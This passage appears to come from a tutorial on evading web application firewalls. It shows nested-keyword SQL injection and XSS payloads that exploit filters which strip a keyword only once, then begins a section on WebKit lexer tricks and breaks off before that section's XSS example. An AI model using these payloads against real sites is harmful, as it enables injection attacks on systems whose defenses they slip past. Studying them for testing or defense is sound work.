it. ```text SQL: selselectect verversionsion(); ‍‍‍‍XSS: rip>alalertertrip> ``` Why it works: the WAF is incomplete. It only checks the string once, or the filtered string is not complete. The point of this section: a WAF always has holes. Nothing is perfect. ## 0x03 Bypassing WAF from the WebKit angle Someone might ask: we're talking about bypassing WAFs, why WebKit? Yes, you read that right, I'm not crazy. The reason to talk about WAF bypass from the WebKit angle is that the browser is what parses the code. Who in the browser does the parsing? WebKit. And once you're in WebKit, you have to talk about its parser, the lexer, because that is what we abuse for the bypass. A simple XSS that bypasses a WAF: `